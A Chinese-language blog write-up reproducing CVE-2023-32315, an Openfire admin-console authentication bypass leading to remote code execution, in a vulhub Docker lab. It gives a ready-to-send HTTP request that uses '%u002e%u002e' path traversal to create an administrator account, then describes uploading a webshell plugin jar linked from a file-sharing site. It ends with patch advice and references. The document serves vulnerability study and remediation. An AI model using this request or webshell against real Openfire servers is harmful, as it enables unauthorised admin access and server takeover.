CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现

CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE复现

前言

本次测试仅供学习使用,如若非法他用,与本文作者无关,需自行负责!!!

一.Openfire简介

Openfire是根据开源Apache许可证授权的实时协作(RTC)服务器。它使用唯一广泛采用的即时消息开放协议XMPP(也称为Jabber)。

二.漏洞简述

在 4.7.4 和 4.6.7 之前的版本中,发现 Openfire 的管理控制台(管理控制台)是一个基于 Web 的应用程序,容易受到通过设置环境进行的路径遍历攻击。这允许未经身份验证的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 设置环境来访问为管理用户保留的 Openfire 管理控制台中的受限页面。

三.漏洞原理

Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果。

四.影响版本

3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5

五.环境搭建

在kali的docker中搭建vulhub进行漏洞复现
clone项目:

 sudo git clone https://github.com/vulhub/vulhub.git

在这里插入图片描述在/openfire/CVE-2023-32315/目录,用下面的命令下载并启动:

sudo docker-compose up -d

CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第1张图片搞定,查看环境:

sudo docker-compose ps

在这里插入图片描述看到端口,这里是9090。

在浏览器上访问http://your-ip:9090

进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:

CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第2张图片此时复现的Openfire版本为4.7.4

六.漏洞复现

十多年前,在 Openfire 管理控制台中发现了一个路径遍历问题 CVE-2008-6508。攻击者能够使用 /setup/setup-/…/…/[page].jsp 绕过身份验证检查并在不知道管理员用户名和密码的情况下访问 Arbitratry 页面。

从那时起,路径遍历保护已经到位,可以防止这种攻击。

嵌入式Web服务器的后期升级包括对UTF-16字符的非标准URL编码的支持。Openfire 中的路径遍历保护未更新为包括针对此新编码的保护。因此,攻击者能够使用 /setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp 以再次绕过路径遍历保护。

/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第3张图片出现这种情况,证明漏洞存在

1.使用POC创建新的用户已经登录密码test/test
POC

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=test&name=&email=&password=test&passwordConfirm=test&isadmin=on&create=Create+User HTTP/1.1
Host: ip:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken

2.使用构造POC进行发包
CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第4张图片然在响应中引发了异常,但创建了一个同时具有用户名和密码“test”的账户。

3.使用创建的账户进行登录
CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第5张图片CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第6张图片成功登录账户!!!

七.漏洞利用(命令执行)

根据创建的用户登录之后上传webshell,上传封装好的jar包,插件位置处上传jar包。

下载地址:

https://pan.baidu.com/s/1RHxoHb7DhgElOwOQGxGb1A 
提取码:pezj

CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第7张图片上传jar包,成功上传。
CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第8张图片CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第9张图片登录密码为123点击登录
CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第10张图片CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现_第11张图片命令执行成功,拿到webshell。

八.修复建议

1.升级版本至4.6.8或4.7.5及以上,目前厂商已升级了安全版本以修复这个安全问题,请到厂商的发布主页下载安全版本:

https://github.com/igniterealtime/Openfire/releases

2.制网络访问,切勿将 Openfire 管理控制台暴露于互联网,使用网络安全措施,确保只有受信任成员才能访问。

九.参考

https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
https://vulhub.org/#/environments/openfire/CVE-2023-32315/

你可能感兴趣的:(漏洞复现,系统安全,安全,网络安全,web安全)